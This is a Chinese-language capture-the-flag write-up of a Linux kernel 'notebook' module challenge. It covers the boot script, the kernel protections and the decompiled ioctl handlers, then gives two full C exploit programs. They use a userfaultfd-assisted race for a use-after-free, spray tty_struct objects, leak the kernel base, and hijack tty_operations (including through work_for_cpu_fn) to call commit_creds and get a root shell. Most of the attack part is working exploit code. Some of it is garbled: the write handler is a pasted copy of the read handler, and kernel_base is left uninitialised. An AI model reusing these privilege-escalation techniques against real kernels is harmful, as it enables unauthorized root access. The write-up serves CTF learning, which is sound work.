kernal pwn
给了几个文件,然后来看看启动文件
#!/bin/sh
stty intr ^]
exec timeout 300 qemu-system-x86_64 -m 64M -kernel bzImage -initrd rootfs.cpio -append "loglevel=3 console=ttyS0 oops=panic panic=1 kaslr" -nographic -net user -net nic -device e1000 -smp cores=2,threads=2 -cpu kvm64,+smep,+smap -monitor /dev/null 2>/dev/null -s
我们可以看到保护方面开了smep、smap、kaslr。
开着KPTI。
然后还要注意到显然不是单核单线程程序,那么就要考虑是不是会存在条件竞争这个问题。
内核保护从四个方面出发,分别是隔离、访问控制、异常检测、随机化
隔离分为smep用户代码不可执行、smap用户数据不可访问、KPTI。
随机化也分为kaslr、fgkaslr。
然后解压文件系统,看一下init文件。
mkdir core
cp rootfs.cpio ./core
cd core
cpio -idmv < ./rootfs.cpio
#cpio是解压指令 -idmv是它的四个参数
#-i或--extract 执行copy-in模式,还原备份档。
#-d或--make-directories 如有需要cpio会自行建立目录。
#-v或--verbose 详细显示指令的执行过程。
#-m或preserve-modification-time 不去更换文件的更改时间
显然挂载了notebook.ko,还可以输出点字儿。
那我们去看notebook模块
mynote_read函数:
ssize_t __fastcall mynote_read(file *file, char *buf, size_t idx, loff_t *pos)
{
unsigned __int64 idxx; // rdx
unsigned __int64 v5; // rdx
size_t size; // r13
void *note1; // rbx
ssize_t result; // rax
_fentry__();
if ( idxx > 0x10 )
{
printk("[x] Read idx out of range.\n", buf);
result = -1LL;
}
else
{
v5 = idxx;
size = notebook[v5].size;
note1 = notebook[v5].note;
_check_object_size(note1, size, 1LL);
copy_to_user(buf, note1, size);
printk("[*] Read success.\n");
result = 0LL;
}
return result;
}
就是读。
有个没见过的函数 __check_object_size
/*
* Validates that the given object is:
* - not bogus address
* - fully contained by stack (or stack frame, when available)
* - fully within SLAB object (or object whitelist area, when available)
* - not in kernel text
*/
//这里的注释还是给的比较明显的
//检查四个问题
//1、不是虚假地址
//2、完全包含在堆栈中(或堆栈框架,如果可用)
//3、完全在 SLAB 对象内(或对象白名单区域,如果可用)
//4、不在内核文本中
void __check_object_size(const void *ptr, unsigned long n, bool to_user)
{
if (static_branch_unlikely(&bypass_usercopy_checks))
return;
/* Skip all tests if size is zero. */
if (!n)
return;
/* Check for invalid addresses. */
check_bogus_address((const unsigned long)ptr, n, to_user);
/* Check for bad stack object. */
switch (check_stack_object(ptr, n)) {
case NOT_STACK:
/* Object is not touching the current process stack. */
break;
case GOOD_FRAME:
case GOOD_STACK:
/*
* Object is either in the correct frame (when it
* is possible to check) or just generally on the
* process stack (when frame checking not available).
*/
return;
default:
usercopy_abort("process stack", NULL, to_user, 0, n);
}
/* Check for bad heap object. */
check_heap_object(ptr, n, to_user);
/* Check for object in kernel to avoid text exposure. */
check_kernel_text_object((const unsigned long)ptr, n, to_user);
}
mynote_write函数
ssize_t __fastcall mynote_read(file *file, char *buf, size_t idx, loff_t *pos)
{
unsigned __int64 idxx; // rdx
unsigned __int64 v5; // rdx
size_t size; // r13
void *note1; // rbx
ssize_t result; // rax
_fentry__();
if ( idxx > 0x10 )
{
printk("[x] Read idx out of range.\n", buf);
result = -1LL;
}
else
{
v5 = idxx;
size = notebook[v5].size;
note1 = notebook[v5].note;
_check_object_size(note1, size, 1LL);
copy_to_user(buf, note1, size);
printk("[*] Read success.\n");
result = 0LL;
}
return result;
}
就是写。
noteadd函数
__int64 __fastcall noteadd(size_t idx, size_t size, void *buf)
{
__int64 v3; // rdx
__int64 buff; // r13
note *chunk; // rbx
size_t size1; // r14
__int64 v7; // rbx
_fentry__();
if ( idx > 0xF )
{
v7 = -1LL;
printk("[x] Add idx out of range.\n", size);
}
else
{
buff = v3;
chunk = ¬ebook[idx];
raw_read_lock(&lock);
size1 = chunk->size;
chunk->size = size;
if ( size > 0x60 )
{
chunk->size = size1;
v7 = -2LL;
printk("[x] Add size out of range.\n");
}
else
{
copy_from_user(name, buff, 0x100LL);
if ( chunk->note )
{
chunk->size = size1;
v7 = -3LL;
printk("[x] Add idx is not empty.\n");
}
else
{
chunk->note = (void *)_kmalloc(size, 0x24000C0LL);
printk("[+] Add success. %s left a note.\n", name);
v7 = 0LL;
}
}
raw_read_unlock(&lock);
}
return v7;
}
上了个锁之后判断申请的size不能大于0x60
idx的地方不能有东西。
notedel函数
__int64 __fastcall notedel(size_t idx)
{
note *chunk; // rbx
__int64 result; // rax
_fentry__();
if ( idx > 0x10 )
{
printk("[x] Delete idx out of range.\n");
result = -1LL;
}
else
{
raw_write_lock(&lock);
chunk = ¬ebook[idx];
kfree(chunk->note);
if ( chunk->size )
{
chunk->size = 0LL;
chunk->note = 0LL;
}
raw_write_unlock(&lock);
printk("[-] Delete success.\n");
result = 0LL;
}
return result;
}
上了个锁以后释放chunk
size note清空掉。
noteedit
__int64 __fastcall noteedit(size_t idx, size_t newsize, void *buf)
{
__int64 v3; // rdx
__int64 buff; // r13
note *chunk; // rbx
size_t v6; // rax
__int64 newchunk; // r12
__int64 v8; // rbx
_fentry__();
if ( idx > 0xF )
{
v8 = -1LL;
printk("[x] Edit idx out of range.\n", newsize);
return v8;
}
buff = v3;
chunk = ¬ebook[idx];
raw_read_lock(&lock);
v6 = chunk->size;
chunk->size = newsize;
if ( v6 == newsize )
{
v8 = 1LL;
goto editout;
}
newchunk = (*(__int64 (__fastcall **)(void *, size_t, __int64))krealloc.gap0)(chunk->note, newsize, 0x24000C0LL);
copy_from_user(name, buff, 0x100LL);
if ( !chunk->size )
{
printk("free in fact");
chunk->note = 0LL;
v8 = 0LL;
goto editout;
}
if ( (unsigned __int8)_virt_addr_valid(newchunk) )
{
chunk->note = (void *)newchunk;
v8 = 2LL;
editout:
raw_read_unlock(&lock);
printk("[o] Edit success. %s edit a note.\n", name);
return v8;
}
printk("[x] Return ptr unvalid.\n");
raw_read_unlock(&lock);
return 3LL;
}
size一样的话无事
不一样的话先走一下realloc
然后判断判断地址是不是有问题
中间只会在size不一样的时候往name里面填点东西
所以说是edit
其实就是一个realloc的过程。
notegift函数,题目直接可以泄露地址
__int64 __fastcall notegift(void *buf)
{
_fentry__();
printk("[*] The notebook needs to be written from beginning to end.\n");
copy_to_user(buf, notebook, 0x100LL);
printk("[*] For this special year, I give you a gift!\n");
return 100LL;
}
mynote_ioctl函数:
__int64 __fastcall mynote_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
__int64 v3; // rdx
userarg notearg; // [rsp+0h] [rbp-28h] BYREF
_fentry__();
copy_from_user(¬earg, v3, 24LL);
if ( cmd == 0x100 )
return noteadd(notearg.idx, notearg.size, notearg.buf);
if ( cmd <= 0x100 )
{
if ( cmd == 100 )
return notegift(notearg.buf);
}
else
{
if ( cmd == 0x200 )
return notedel(notearg.idx);
if ( cmd == 0x300 )
return noteedit(notearg.idx, notearg.size, notearg.buf);
}
printk("[x] Unknown ioctl cmd!\n");
return -100LL;
}
正常菜单嘛
可以看到创建了线程之后线程正在缓慢的让0x2e0的chunk释放掉。
这是正常情况没有加userfaultfd机制让它卡住。
再加上机制让他停下来就好
这就是chunk free了但是地址没改的样子
下面的check_object_size检查包含很多内容,包括是不是跨页面,是不是栈地址等等。
但是这里我们只关心它会不会超了。
因为我们size如果是0x2000的话会被检测到溢出。
所以需要noteadd改小一点。
void __check_object_size(const void *ptr, unsigned long n, bool to_user)
{
const char *err;
/* Skip all tests if size is zero. */
if (!n)
return;
/* Check for invalid addresses. */
err = check_bogus_address(ptr, n);
if (err)
goto report;
/* Check for bad heap object. */
err = check_heap_object(ptr, n, to_user);
if (err)
goto report;
/* Check for bad stack object. */
switch (check_stack_object(ptr, n)) {
case NOT_STACK:
/* Object is not touching the current process stack. */
break;
case GOOD_FRAME:
case GOOD_STACK:
/*
* Object is either in the correct frame (when it
* is possible to check) or just generally on the
* process stack (when frame checking not available).
*/
return;
default:
err = "<process stack>";
goto report;
}
/* Check for object in kernel to avoid text exposure. */
err = check_kernel_text_object(ptr, n);
if (!err)
return;
report:
report_usercopy(ptr, n, to_user, err);
}
然后堆喷申请到tty
判断有没有申请到的条件就是第一个word是不是0x5401
然后我们需要泄露地址
但是这里我们要注意的是
我们申请的tty结构体因为随机的缘故,不一定是pty还是ptmx。所以需要一个判断,针对是pty还是ptmx做出不同的处理。
两个不同的函数分别是pty_unix98_ops跟ptm_unix98_ops.
我们还是可以通过/proc/kallsyms来获得。
然后我们还是试图做一个栈迁移。
这里的栈迁移我看网上方法还是多多的,有的劫持ioctl,有的劫持write,有的先把整个的ops搬走。
我们还是尝试劫持write。
发现rdi是tty结构体地址。
然后找相关gadget做一个栈迁移就行。
但是记得要绕开KPTI
exp
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>
int fd;
void get_shell(void){
puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");
if(getuid())
{
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}
puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
system("/bin/sh");
}
struct arg {
size_t idx;
size_t size;
void * buf;
};
void note_add(int idx,int size, void* buf)
{
struct arg cmd;
cmd.idx = idx;
cmd.size = size;
cmd.buf = buf;
ioctl(fd,0x100,&cmd);
}
void note_gift(void* buf) {
struct arg cmd;
cmd.idx = 0;
cmd.size = 0;
cmd.buf = buf;
ioctl(fd,0x64,&cmd);
}
void note_del(size_t idx) {
struct arg cmd;
cmd.idx = idx;
cmd.size = 0;
cmd.buf = 0;
ioctl(fd,0x200,&cmd);
}
void note_edit(size_t idx, size_t size, void* buf) {
struct arg cmd;
cmd.idx = idx;
cmd.size = size;
cmd.buf = buf;
ioctl(fd,0x300,&cmd);
}
void note_read(size_t buf, size_t idx){
read(fd, buf, idx);
}
void note_write(size_t buf, size_t idx)
{
write(fd, buf, idx);
}
unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_stats() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void* handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
puts("[+] handler created");
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready != 1) // 这会一直等待,直到copy_from_user/copy_to_user访问FAULT_PAGE
errExit("[-] Wrong pool return value");
printf("[+] Trigger! I'm going to hang\n");
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) // 从uffd读取msg结构,虽然没用
errExit("[-] Error in reading uffd_msg");
assert(msg.event == UFFD_EVENT_PAGEFAULT);
printf("[+] fault page handler finished\n");
sleep(1000000000000000000000000);
return 0;
}
void register_userfault(uint64_t fault_page, uint64_t fault_page_len)
{
struct uffdio_api ua;
struct uffdio_register ur;
pthread_t thr;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // create the user fault fd
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
errExit("[-] ioctl-UFFDIO_API");
ur.range.start = (unsigned long)fault_page;
ur.range.len = fault_page_len;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
errExit("[-] ioctl-UFFDIO_REGISTER"); //注册页地址与错误处理fd,这样只要copy_from_user
//访问到FAULT_PAGE,则访问被挂起,uffd会接收到信号
int s = pthread_create(&thr, NULL, handler, (void*)uffd); // handler函数进行访存错误处理
if (s!=0)
errExit("[-] pthread_create");
return;
}
void errExit(char* msg)
{
puts(msg);
exit(-1);
}
char* buf;
char* mem;
int main()
{
save_stats();
fd = open("/dev/notebook", O_RDWR);
//create userfaultfd
mem = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(mem, 0x1000); //create userfaultfd
buf = malloc(0x1000);
//heap spray to tty
//initizlize
//chunksize to 0x2e0
//notebook[0] not use
for (int i = 1; i < 0x10; i ++) {
note_add(i, 0x20, buf);
note_edit(i, 0x2e0, buf);
}
//free size tty
pthread_t p1, p2, p3;
void add1(int args) {
note_edit(args, 0x2000, mem);
}
void add2(void* args) {
note_add(args, 0x40, mem);
}
for (int i = 1; i < 0x10; i ++)
pthread_create(&p1, NULL, add1, i);
sleep(5);
//spray tty
int tty_fd[0x100];
for (int i = 0; i < 0x80; i++)
tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
//make the size is ok
for (int i = 1; i < 0x10; i++)
pthread_create(&p2, NULL, add2, (void*)i);
sleep(5);
//check tty is ok
struct {
void * buf;
size_t size;
} notebook[0x10];
size_t data[0x200];
int tty_index = 0, flag = 0;
note_gift(notebook);
for (int i = 1; i < 0x10; i ++) {
read(fd, data, i);
if (*(int *)data == 0x5401) {
printf("find tty!\n");
tty_index = i;
flag = 1;
break;
}
}
if (flag == 0) {
errExit("Fail to find tty");
}
// get kernel base
size_t tty_ops, kernel_base, kernel_offset, prepare_kernel_cred, commit_creds,swapgs_restore_regs_and_return_to_usermode;
size_t pty_unix98_ops = 0xe8e320, ptm_unix98_ops = 0xe8e440;
tty_ops = *(size_t*)(data + 3);
kernel_offset = ((tty_ops & 0xfff) == (pty_unix98_ops & 0xfff) ? (tty_ops - pty_unix98_ops) : tty_ops - ptm_unix98_ops);
kernel_base = (void*) ((size_t)kernel_base + kernel_offset);
prepare_kernel_cred = 0xa9ef0 + kernel_offset;
commit_creds = 0xa9b40 + kernel_offset;
swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xa00929;
printf("[*] Kernel offset:0x%llx\n", kernel_offset);
printf("[+] Kernel base: %p\n", kernel_base);
printf("[+] prepare_kernel_cred: %p\n", prepare_kernel_cred);
printf("[+] commit_creds: %p\n", commit_creds);
printf("[+] swapgs_restore_regs_and_return_to_usermode: %p\n", swapgs_restore_regs_and_return_to_usermode);
note_add(0, 0x20, buf);
note_edit(0, 0x400, buf);
note_gift(notebook);
size_t heap_addr = notebook[0].buf;
size_t tty_addr = notebook[tty_index].buf;
printf("[*] heap_addr:0x%llx\n", heap_addr);
printf("[*] tty_addr:0x%llx\n", tty_addr);
//hijack tty_operation
*((size_t *)(buf+0x18)) = heap_addr;
note_write(buf, tty_index);
//hijack write
for (int i = 0; i < 0x10; i ++) {
*((size_t *)(buf + i * 8)) = prepare_kernel_cred;
}
note_write(buf, 0);
//get_root
for (int i = 0; i < 0x80; i++) {
printf("now ioctl %d\n", i);
write(tty_fd[i], buf, 233); //ioctl is wrong
}
}
栈迁移始终还是太麻烦了
找gadget说不定还得ropper半天。
网上大家大都是看着长亭的学习了一种新的方法
我也试一试,学习学习。
也是参考了大佬
notebook
利用的是work_for_cpu_fn函数
struct work_for_cpu {
struct work_struct work;
long (*fn)(void *);
void *arg;
long ret;
};
static void work_for_cpu_fn(struct work_struct *work)
{
struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);
wfc->ret = wfc->fn(wfc->arg);
}
即 rdi + 0x20 处作为函数指针执行,参数为 rdi + 0x28 处值,返回值存放在 rdi + 0x30 处,由此我们可以很方便地分次执行 prepare_kernel_cred 和 commit_creds,完成稳定化提权
与之前不同的是在这里选择劫持 tty_operations 中的 ioctl 而不是 write,因为 tty_struct[4] 处成员 ldisc_sem 为信号量,在执行到 work_for_cpu_fn 之前该值会被更改
然后正确返回。
确实写上了。
然后可提权
但是我实际去运行的时候感觉不是很稳定。
经常出现prepare_kernel_creds没有正确返回的情况。
并不是很知道为什么
有知道为啥的大佬带带我
然后我自己把我上面写的exp改了改。
exp
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>
int fd;
void get_shell(void){
puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");
if(getuid())
{
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}
puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
system("/bin/sh");
}
struct arg {
size_t idx;
size_t size;
void * buf;
};
void note_add(int idx,int size, void* buf)
{
struct arg cmd;
cmd.idx = idx;
cmd.size = size;
cmd.buf = buf;
ioctl(fd,0x100,&cmd);
}
void note_gift(void* buf) {
struct arg cmd;
cmd.idx = 0;
cmd.size = 0;
cmd.buf = buf;
ioctl(fd,0x64,&cmd);
}
void note_del(size_t idx) {
struct arg cmd;
cmd.idx = idx;
cmd.size = 0;
cmd.buf = 0;
ioctl(fd,0x200,&cmd);
}
void note_edit(size_t idx, size_t size, void* buf) {
struct arg cmd;
cmd.idx = idx;
cmd.size = size;
cmd.buf = buf;
ioctl(fd,0x300,&cmd);
}
void note_read(size_t buf, size_t idx){
read(fd, buf, idx);
}
void note_write(size_t buf, size_t idx)
{
write(fd, buf, idx);
}
unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_stats() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void* handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
puts("[+] handler created");
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready != 1) // 这会一直等待,直到copy_from_user/copy_to_user访问FAULT_PAGE
errExit("[-] Wrong pool return value");
printf("[+] Trigger! I'm going to hang\n");
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) // 从uffd读取msg结构,虽然没用
errExit("[-] Error in reading uffd_msg");
assert(msg.event == UFFD_EVENT_PAGEFAULT);
printf("[+] fault page handler finished\n");
sleep(1000000000000000000000000);
return 0;
}
void register_userfault(uint64_t fault_page, uint64_t fault_page_len)
{
struct uffdio_api ua;
struct uffdio_register ur;
pthread_t thr;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // create the user fault fd
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
errExit("[-] ioctl-UFFDIO_API");
ur.range.start = (unsigned long)fault_page;
ur.range.len = fault_page_len;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
errExit("[-] ioctl-UFFDIO_REGISTER"); //注册页地址与错误处理fd,这样只要copy_from_user
//访问到FAULT_PAGE,则访问被挂起,uffd会接收到信号
int s = pthread_create(&thr, NULL, handler, (void*)uffd); // handler函数进行访存错误处理
if (s!=0)
errExit("[-] pthread_create");
return;
}
void errExit(char* msg)
{
puts(msg);
exit(-1);
}
char* buf;
char* mem;
int main()
{
save_stats();
fd = open("/dev/notebook", O_RDWR);
//create userfaultfd
mem = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(mem, 0x1000); //create userfaultfd
buf = malloc(0x1000);
//heap spray to tty
//initizlize
//chunksize to 0x2e0
//notebook[0] not use
for (int i = 1; i < 0x10; i ++) {
note_add(i, 0x20, buf);
note_edit(i, 0x2e0, buf);
}
//free size tty
pthread_t p1, p2, p3;
void add1(int args) {
note_edit(args, 0x2000, mem);
}
void add2(void* args) {
note_add(args, 0x60, mem);
}
for (int i = 1; i < 0x10; i ++)
pthread_create(&p1, NULL, add1, i);
sleep(3);
//spray tty
int tty_fd[0x100];
for (int i = 0; i < 0x80; i++)
tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
//make the size is ok
for (int i = 1; i < 0x10; i++)
pthread_create(&p2, NULL, add2, (void*)i);
sleep(3);
//check tty is ok
struct {
void * buf;
size_t size;
} notebook[0x10];
size_t data[0x200];
int tty_index = 0, flag = 0;
note_gift(notebook);
for (int i = 1; i < 0x10; i ++) {
read(fd, data, i);
if (*(int *)data == 0x5401) {
printf("find tty!\n");
tty_index = i;
flag = 1;
break;
}
}
if (flag == 0) {
errExit("Fail to find tty");
}
// get kernel base
size_t tty_ops, kernel_base, kernel_offset, prepare_kernel_cred, commit_creds,swapgs_restore_regs_and_return_to_usermode, work_for_cpu_fn;
size_t pty_unix98_ops = 0xe8e320, ptm_unix98_ops = 0xe8e440;
tty_ops = *(size_t*)(data + 3);
kernel_offset = ((tty_ops & 0xfff) == (pty_unix98_ops & 0xfff) ? (tty_ops - pty_unix98_ops) : tty_ops - ptm_unix98_ops);
kernel_base = (void*) ((size_t)kernel_base + kernel_offset);
prepare_kernel_cred = 0xa9ef0 + kernel_offset;
commit_creds = 0xa9b40 + kernel_offset;
swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xa00929;
work_for_cpu_fn = kernel_base + 0x9eb90;
printf("[*] Kernel offset:0x%llx\n", kernel_offset);
printf("[+] Kernel base: %p\n", kernel_base);
printf("[+] prepare_kernel_cred: %p\n", prepare_kernel_cred);
printf("[+] commit_creds: %p\n", commit_creds);
printf("[+] swapgs_restore_regs_and_return_to_usermode: %p\n", swapgs_restore_regs_and_return_to_usermode);
printf("[+] work_for_cpu_fn: %p\n", work_for_cpu_fn);
note_add(0, 0x20, buf);
note_edit(0, 0x800, buf);
note_gift(notebook);
size_t heap_addr = notebook[0].buf;
size_t tty_addr = notebook[tty_index].buf;
printf("[*] heap_addr:0x%llx\n", heap_addr);
printf("[*] tty_addr:0x%llx\n", tty_addr);
//hijack ioctl
for (int i = 0; i < 0x20; i ++) {
*((size_t *)(buf + i * 8)) = work_for_cpu_fn;
}
note_write(buf, 0);
//hijack tty_operation
read(fd, data, tty_index);
memcpy(buf, data, 0x40);
*((size_t *)(buf+0x18)) = heap_addr;
*((size_t *)(buf+0x20)) = prepare_kernel_cred;
*((size_t *)(buf+0x28)) = NULL;
note_write(buf, tty_index);
//get_root
for (int i = 0; i < 0x80; i++) {
//printf("now ioctl %d\n", i);
ioctl(tty_fd[i], 0xdeadbeef, 0xdeadbeef);
//sleep(1);
}
//hijack tty_operation
read(fd, data, tty_index);
printf("prepare_kernal_cred ret: 0x%llx\n", data[6]);
memcpy(buf, data, 0x40);
*((size_t *)(buf+0x18)) = heap_addr;
*((size_t *)(buf+0x20)) = commit_creds;
*((size_t *)(buf+0x28)) = data[6];
note_write(buf, tty_index);
//get_root
for (int i = 0; i < 0x80; i++) {
//printf("now ioctl %d\n", i);
ioctl(tty_fd[i], 0xdeadbeef, 0xdeadbeef);
//sleep(1);
}
system("/bin/sh");
}